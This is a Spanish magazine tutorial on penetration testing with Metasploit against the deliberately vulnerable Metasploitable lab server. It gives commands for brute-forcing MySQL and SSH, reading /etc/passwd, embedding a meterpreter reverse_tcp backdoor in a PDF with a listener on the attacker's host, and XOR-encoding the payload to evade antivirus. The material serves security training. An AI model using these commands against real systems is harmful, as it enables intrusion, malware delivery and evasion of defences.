Вы находитесь на странице: 1из 6

PORTADA Metasploit

Pruebas de intrusin y manipulacin de PDFs con Metasploit

PRUEBA DE HACK
El framework de pruebas de intrusin Metasploit proporciona todas las herramientas necesarias para cualquier intruso y nos ayuda a encontrar problemas en las defensas de nuestras redes. POR HANS-PETER MERKEL Y MARKUS FEILNER
l framework Metasploit [1] es una popular herramienta para los especialistas en prevencin de intrusiones. Metasploit nos permite desplegar sistemticamente muchas de las tcnicas de ataque usadas por intrusos veteranos. Las pruebas de intrusin de Metasploit son capaces de identificar incontables problemas de seguridad que podran hacer vulnerables nuestras redes. De acuerdo con el sitio web del proyecto, Metasploit es tanto un sistema de pruebas de intrusin como una plataforma de desarrollo para la creacin de herramientas de seguridad y exploits. El framework incluye una serie de mdulos. Cada mdulo implementa un ataque especfico. A medida que van apareciendo nuevos ataques, se van aadiendo los correspondientes mdulos al framework, mantenindose de este modo el sistema actualizado con los ltimos exploits y tcnicas de ataque. Segn el equipo de Metasploit, La funcin bsica del framework es un iniciador de mdulos que permite al usuario configurar el mdulo de exploit e iniciarlo contra un sistema objetivo. Si el exploit tiene xito, se ejecuta el payload en el objetivo, proporcionando al usuario un terminal para que pueda interactuar con el payload. Cientos de exploits y docenas de payloads estn disponibles. Como veremos en este artculo, la ltima versin de Metasploit incluye mdulos para la comisin de ataques de fuerza bruta sobre SSH, MySQL y Telnet, as como la capacidad de inyectar archivos ejecutables en el formato PDF de Adobe de modo que los sistemas Win-

dows lo ejecuten secretamente en segundo plano.

Genuinamente Inseguro
El proyecto Metasploit mantiene una imagen de servidor virtual VMware conocida como Metasploitable. La imagen Metasploitable, basada en Ubuntu, contiene ms agujeros de seguridad que un queso suizo y supone el candidato perfecto para aquellos administradores fin de identificar ms que quieran practicar un poco con rpidamente el servidor vulMetasploit como herramienta de pruenerable. Con el comando nmap -sP red bas de intrusin. Para obtener ms inforse obtiene la correspondiente direccin macin sobre cmo instalar y configurar IP, que a partir de ahora ser Metasploitable consulte el sitio web de 192.168.0.189 para los ejemplos de este Metasploit [2]. artculo. El servidor Metasploitable impleUna vez configurado y ejecutndose el menta deliberadamente servicios con servidor Metasploitable, se puede usar configuraciones inseguras y vulnerabiliNmap para identificar los puertos abierdades que lo convierten en el candidato tos (Listado 1). ideal para las sesiones de entreListado 1: Buscando Puertos Abiertos namiento en segu# nmap 192.168.0.189 ridad TI. Antes de Starting Nmap 5.00 ( http://nmap.org ) at \ probar Metasploi2010-06-12 11:52 CEST table conviene Interesting ports on 192.168.0.189: actualizar el fraNot shown: 988 closed ports mework cliente a PORT STATE SERVICE la versin 3.4, y 21/tcp open ftp hacerlo antes 22/tcp open ssh incluso aunque se 23/tcp open telnet 25/tcp open smtp usen las imgenes 53/tcp open domain del DVD; basta 80/tcp open http con hacer svn 139/tcp open netbios-ssn update desde el 445/tcp open microsoft-ds directorio del pro3306/tcp open mysql yecto. 5432/tcp open postgresql Antes de arran8009/tcp open ajp13 car Metasploitable, 8180/tcp open unknown conviene anotar la MAC Address: 08:00:27:80:7A:46 (Cadmus Computer Systems) direccin MAC a

16

Nmero 69

WWW.LINUX- MAGAZINE.ES

Metasploit PORTADA

se puede apreciar, el comando tiene como resultado el acceso al sistema gestor de bases de datos. Con el comando
mysql -h U 192.168.0.189 U -u root -p

se comprueba entonces la informacin de login directamente en la base de datos MySQL. Al introducir la clave, comienza con MySQL. El comando
select load_file U (/etc/passwd)

presenta el contenido del archivo passwd. En el Listado 4 se muestra cmo identificar todos los usuarios del sistema mediante esta tcnica El Listado 4 revela tres cuentas de usuario: msfadmin, user y service. msfadmin probablemente la cre el servidor, segn indica su UID, que es 1000. Esto convierte a la cuenta del usuario msfadmin en el candidato ideal para un ataque de fuerza bruta contra SSH:
use scanner/ssh/ssh_login show options set RHOSTS 192.168.0.189 set PASS_FILE /tmp/diccionario set USERNAME msfadmin exploit

Como se puede apreciar en el Listado 1, el scan inicial del servidor Metasploitable muestra varios puertos abiertos. El siguiente paso consiste en arrancar un sistema Metasploit cliente y buscar los mdulos adecuados para atacar los puertos abiertos revelados por Nmap. Metasploit proporciona varias opciones a travs de su interfaz de usuario. La forma ms sencilla de interactuar con Metasploit es arrancando la interfaz de usuario msfconsole. Como se puede ver en el Listado 2, el comando search login muestra una lista con los mdulos que estn relacionados con la cadena login. El servicio de MySQL es una oportunidad interesante para el primer ejemplo. En direcciones IP de la LAN no suele estar abierto el puerto 3306, puesto que los administradores responsables suelen asociar el servidor de bases de datos a localhost solamente. Pero este tipo de informacin es el primer signo para un atacante en busca de una configuracin vulnerable. El comando use de la consola de Metasploit arranca un exploit utilizando un mdulo de Metasploit. En el Listado 3, el mdulo scanner/mysql/mysql_login lanza un ataque de diccionario sobre el host 192.168.0.189 utilizando el archivo de diccionario /tmp/diccionario. Como

Figura 1: La salida del exploit devuelve la informacin que recibe, incluido el nombre del archivo ejecutable y del PDF en el que se introduce.

Listado 2: msfconsole
./msfconsole search login (...) scanner/ftp/ftp_login scanner/mysql/mysql_login scanner/postgres/postgres_login (...) scanner/smb/smb_login scanner/ssh/ssh_login scanner/ssh/ssh_login_pubkey scanner/telnet/telnet_login

normal normal normal normal normal normal normal

FTP Authentication Scanner MySQL Login Utility PostgreSQL Login Utility SMB Login Check SSH Login Check SSH Public Key Telnet Login Scanner Scanner Login Scanner Check Scanner

WWW.LINUX- MAGAZINE.ES

Nmero 69

17

PORTADA Metasploit

Si no puede identificarse la clave con el diccionario utilizado, podemos intentar comprometer otras cuentas primero: el siguiente ataque fija como objetivo el UID 1001 para la cuenta del usuario user. En el mdulo de exploit, basta con cambiar msfadmin por user, mostrndose la clave de user (Listado 5). Metasploit inicia por s solo una sesin, pero tambin ser posible ingresar por SSH manualmente.
ssh user:@192.168.0.189

Este login tiene el UID 1001, no es la cuenta de root, pero el intruso est ahora en posicin de desplegar varias estrategias con las que escalar privilegios.

Exploits para PDF


Metasploit es capaz de hacer mucho ms que simples ataques de fuerza bruta. Por ejemplo, un exploit reciente haca uso de la funcin util.printf de Adobe Reader para depositar cdigo Javascript malicioso en los PCs con Windows. En la versin 9 de Adobe Reader se ha parcheado el fallo, pero los atacantes no han estado de brazos cruzados durante todo ese tiempo. Como suele ocurrir, Metasploit es ms rpido que el parche del fabricante. Por ejemplo, el reciente exploit adobe_pdf_embedded_exe muestra cmo la comunidad de software libre responde ms rpidamente que los vendedores de software privativo.
Figura 2: Al abrir el PDF creado con Metasploit, la calculadora de Windows aparece misteriosamente.

Listado 3: Atacando

La puerta trasera descubierta en este caso fue la vulnerabilidad launch. Existe una prueba de concepto (PoC) disponible en lnea [3]; el nico remedio ante este ataque es un laborioso y entretenido paseo por el registro de Windows para hackear sus valores. Comenzaremos con un ejemplo que hace uso de la inocua calculadora de Windows, calc.exe, para simular el cdigo malicioso. Un eventual atacante slo habr de sustituir este binario de Windows por su propio troyano de Metasploit. MySQL

Para ello, basta con extraer el payload reverse_tcp del framework en forma de ejecutable de Windows, aadir la direccin IP del sistema atacante y enviar a la vctima lo que parece ser un archivo PDF legtimo. La idea no es nueva; otros exploits ms antiguos hicieron uso de tcticas similares para hackear la red del Dalai Lama o para atacar mquinas gubernamentales con el conocido troyano Ghostnet. El troyano Zeus tambin utiliza este mtodo, y no nos estamos refiriendo al rey de los dioses, sino al

use scanner/mysql/mysql_login show options set RHOSTS 192.168.0.189 set PASS_FILE /tmp/diccionario set USERNAME root exploit (...) [*] 192.168.0.189:3306 Trying username:\ root with password:roosting [*] 192.168.0.189:3306 failed to login as \ root with password roosting (...) [*] 192.168.0.189:3306 Trying username:\ root with password:root [+] 192.168.0.189:3306 - SUCCESSFUL LOGIN \ root : root [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed

Listado 4: Contenido del Archivo passwd


select load_file(/etc/passwd); (...) sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash bind:x:105:113::/var/cache/bind:/bin/false postfix:x:106:115::/var/spool/postfix:/bin/false ftp:x:107:65534::/home/ftp:/bin/false postgres:x:108:117:PostgreSQL administrador... :/var/lib/postgresql:/bin/bash mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false distccd:x:111:65534::/:/bin/false user:x:1001:1001:just a user,111,,:/home/user:/bin/bash service:x:1002:1002:,,,:/home/service:/bin/bash telnetd:x:112:120::/nonexistent:/bin/false proftpd:x:113:65534::/var/run/proftpd:/bin/false

18

Nmero 69

WWW.LINUX- MAGAZINE.ES

Metasploit PORTADA

Figura 3: La puerta trasera para Windows ya est colocada en el PDF. Al abrir el documento con Adobe Reader se abre la sesin.

potente exploit para Windows conocido como El Rey del Crimen [4]. Introduciendo el comando
use exploit/windows/ U fileformat/U adobe_pdf_embedded_exe

desde la consola msfconsole iniciamos este ataque PDF. El comando show options muestra un listado de parmetros para el ataque (Tabla 1). Los parmetros necesarios para este ataque son:

EXENAME: En esta prueba inicial no usaremos ningn troyano, sino calc.exe. El cdigo binario que se incluir en el PDF. FILENAME: El nombre del documento infectado, que en este ejemplo ser tibet.pdf. INFILENAME: Es el nombre del documento limpio, en este caso test.pdf; puede ser cualquier PDF, creado con Open Office por ejemplo. OUTPUTPATH: El directorio donde se guardar el archivo tibet.pdf y que en nuestro ejemplo es /tmp.

Figura 4: El ataque no es del todo sigiloso. Al abrir el PDF, Adobe Reader primero guarda un archivo y luego quiere cerrarse; muchos usuarios hacen caso omiso de esta primera peticin.

WWW.LINUX- MAGAZINE.ES

Nmero 69

19

PORTADA Metasploit

Desde la ventana de msfconsole, el atacante ha de seleccionar e inicializar ahora el exploit adobe_pdf_embedded_exe del siguiente modo:
use exploit/windows/U fileformat/adobe_pdf_\ embedded_exe set EXENAME /tmp/calc.exe set FILENAME tibet.pdf set INFILENAME /tmp/test.pdf set OUTPUTPATH /tmp set PAYLOAD windows/U meterpreter/bind_tcp

Figura 5: Multihandler ha establecido una conexin con la mquina Windows comprometida.

show options muestra entonces los datos de entrada (Figura 1); un ltimo comando, exploit, crea luego un PDF que iniciar la calculadora (Figura 2).

Creando Nuestra Propia Puerta Trasera


En el siguiente ejemplo creamos una puerta trasera en el documento PDF que establecer una conexin con el atacante. Para que sea posible, hay que escribir algo de cdigo malicioso. Un escenario tpico es una conexin TCP inversa que abre automticamente una conexin entre vctima y atacante. Los programadores deben introducir su direccin IP y nmero de puerto en el cdigo shell. No hace falta que el cdigo est escrito en C o en ensamblador; la herramienta incluye una ingente canti-

dad de payloads que el atacante slo tiene que sacar del framework. Dado que la plataforma objetivo es slo Windows, hay que exportar el cdigo malicioso a formato binario .exe. Llamaremos al archivo ejecutable por ejemplo reverse.exe; Metasploit lo genera a partir del payload meterpreter/reverse_tcp:
/pentest/exploits/framework3/U msfpayload \ windows/meterpreter/U reverse_tcp LHOST=\ 192.168.0.2 X > reverse.exe

Los ingredientes, reverse.exe y test.pdf, estn preparados. Metasploit los combina ahora para elaborar el documento PDF infectado, tibet.pdf (Figura 3). Podemos ignorar el mensaje que dice No session completed; la sesin no se crear mientras no se abra el documento. En este

ejemplo, el usuario copia el documento a la mquina objetivo, una mquina con Windows XP SP3 y Adobe Reader. El PC atacante debe poner un listener en el puerto 4444, que es el predeterminado; para ello se puede usar una conexin Netcat. Una vez ms, Metasploit ofrece una forma ms elegante basada en Multihandler, que est disponible a travs de la consola msfconsole de Metasploit o a travs de la interfaz alternativa de lnea de comandos msfcli, que se suele usar para scripting (Listado 6). El listener ya est listo y queda a la espera de que se abra el documento. En el PC con Windows, pide que se cierre el documento una vez abierto, lo que puede resultar confuso, aunque la mayora de los usuarios de Windows suele hacer caso omiso a este tipo de peticiones (Figura 4).

Concienciacin
Los usuarios ms experimentados deberan mostrarse escpticos al encontrarse

Listado 5: La Cuenta del Usuario user


[*] 192.168.0.189:22 - SSH - Trying: \ username: \ user with password: useless [-] 192.168.0.189:22 - SSH - Failed: \ user:useless (...) [*] 192.168.0.189:22 - SSH - Trying: \ username: \ user with password: user [*] Command shell session 1 opened \ (192.168.0.2:41714 -> 192.168.0.189:22)\ at Sat Jun 12 13:18:15 +0200 2010

Listado 7: Salida de msfencode -h


Usage: ./msfencode <options> OPTIONS: -a <opt> The architecture to encode as -b <opt> The list of characters to avoid: \x00\xff -c <opt> The number of times to encode the data -e <opt> The encoder to use -h Help banner -i <opt> Encode the contents of the supplied file path -k Keep template working; run payload in new thread (use with -x) -l List available encoders -m <opt> Specifies an additional module search path -n Dump encoder information -o <opt> The output file -p <opt> The platform to encode for -s <opt> The maximum size of the encoded data -t <opt> The format to display the encoded buffer with (c, elf, exe, java, js_le, js_be, perl, raw, ruby, vba, vbs, loop-vbs, asp, war, macho) -x <opt> Specify an alternate win32 executable template

Listado 6: Multihandler
# /pentest/exploits/framework3/msfcli exploit\ /multi/handler PAYLOAD=windows/meterpreter/\ reverse_tcp LHOST=192.168.0.2 LPORT=4444 E [*] Please wait while we load the module \ tree... [*] Started reverse handler on \ 192.168.0.2:4444 [*] Starting the payload handler...

20

Nmero 69

WWW.LINUX- MAGAZINE.ES

Metasploit PORTADA

con un aviso que indica posibles comportamientos sospechosos por parte de un programa o servicio. Incluso aunque el atacante consiga editar estos mensajes para que parezcan ms inofensivos, probablemente la mejor arma contra una puerta trasera que se ejecuta con tan slo hacer clic en Open sea una buena concienciacin general en materia de seguridad por parte del personal (Figura 5). Una llamada a Netstat en cualquiera de las dos mquinas nos confirma que la conexin est establecida. El proceso debera ser interrumpido por el escaneo de un antivirus en el PC con Windows. Otras herramientas, como el sitio web Virustotal [5], proporcionan escneres que esperan a que se cargue el cdigo de shell para indagar en los resultados. En nuestro laboratorio, un total de 23 escneres antivirus identificaron el payload reverse.exe de la instalacin predetermi-

nada de MetasTabla 1: adobe_pdf_embedded_exe ploit. Parece que Parmetro Funcin la mayora de los EXENAME Nombre de fichero del Payload (.exe) fabricantes de FILENAME Nombre de fichero de salida (.pdf) antivirus han hecho los deberes INFILENAME Nombre de fichero de entrada (.pdf) en este sentido; LAUNCH_MESSAGE Le dice a Windows que muestre el dilogo tan slo un par de de ficheros (predterminado: test) meses atrs, la OUTPUTPATH Ruta de salida para el documento PDF infectado probabilidad de (preterminado: ./data/exploits/) deteccin era ContextinformationFile Fichero de informacin del contexto mucho menor. DisablePayloadHandler Deshabilitar el cdigo handler para el payload Los atacantes, seleccionado como contrameEnableContextEncoding Utilizar contexto transiente cuando se codifican dida, pasan el payloads cdigo de shell a WORKSPACE Espacio de trabajo para el mdulo selecionado travs de un codiWfsDelay Tiempo de espera para la conexin ficador XOR para ocultarlo. Una vez ms, Metasploit cuenta con un mdulo nes disponibles (Listado 7), mientras para realizar esta tarea en forma de que -l enumera los codificadores dispomsfencode. El comando msfencode -h nibles (Listado 8). Despus de usar muestra un resumen de todas las opciomsfencode, la cantidad de detecciones se redujo a 15.

Listado 8: msfencode -l
Framework Encoders ================== Name ---cmd/generic_sh cmd/ifs generic/none mipsbe/longxor mipsle/longxor php/base64 ppc/longxor ppc/longxor_tag sparc/longxor_tag x64/xor x86/alpha_mixed x86/alpha_upper x86/avoid_utf8_tolower x86/call4_dword_xor x86/countdown x86/fnstenv_mov x86/jmp_call_additive x86/nonalpha x86/nonupper x86/shikata_ga_nai x86/single_static_bit x86/unicode_mixed x86/unicode_upper Rank ---good low normal normal normal normal normal normal normal normal low low manual normal normal normal normal low low excellent manual manual manual Description ----------Generic Shell Variable Substitution Command Encoder Generic ${IFS} Substitution Command Encoder The none Encoder XOR Encoder XOR Encoder PHP Base64 encoder PPC LongXOR Encoder PPC LongXOR Encoder SPARC DWORD XOR Encoder XOR Encoder Alpha2 Alphanumeric Mixedcase Encoder Alpha2 Alphanumeric Uppercase Encoder Avoid UTF8/tolower Call+4 Dword XOR Encoder Single-byte XOR Countdown Encoder Variable-length Fnstenv/mov Dword XOR Encoder Jump/Call XOR Additive Feedback Encoder Non-Alpha Encoder Non-Upper Encoder Polymorphic XOR Additive Feedback Ecoder Single Static Bit Alpha2 Alphanumeric Unicode Mixedcase Encoder Alpha2 Alphanumeric Unicode Uppercase Encoder

Que la Fiesta Contine


Slo porque un escner antivirus encuentre el cdigo de Metasploit, no hay que creer que los sistemas Windows son seguros. El nuevo cdigo binario codificado con XOR mediante Metasploit ya es suficiente para burlar al software antivirus. Es la historia de siempre del gato y el ratn, donde el ratn son los atacantes y los fabricantes de software de seguridad son el gato. I

RECURSOS
[1] Metasploit: http://www.metasploit. com [2] Metasploitable: http://blog. metasploit.com/2010/05/ introducing-metasploitable.html [3] Prueba de concepto para el Bug launch: http://blog.fortinet.com/ 0day-or-not-today-exploit-in-the-wild [4] Troyano Zeus: http://en.wikipedia.org/ wiki/Zeus_%28trojan_horse%29 [5] Virustotal: http://www.virustotal.com/ de

Hans-Peter Merkel es miembro de la comunidad de Software Libre desde hace muchos aos. Se ha dedicado principalmente al anlisis forense. Ha impartido cursos a las fuerzas del orden en Alemania y Tanzania, y es fundador y miembro de FreiOSS y Linux4Afrika.

EL AUTOR

WWW.LINUX- MAGAZINE.ES

Nmero 69

21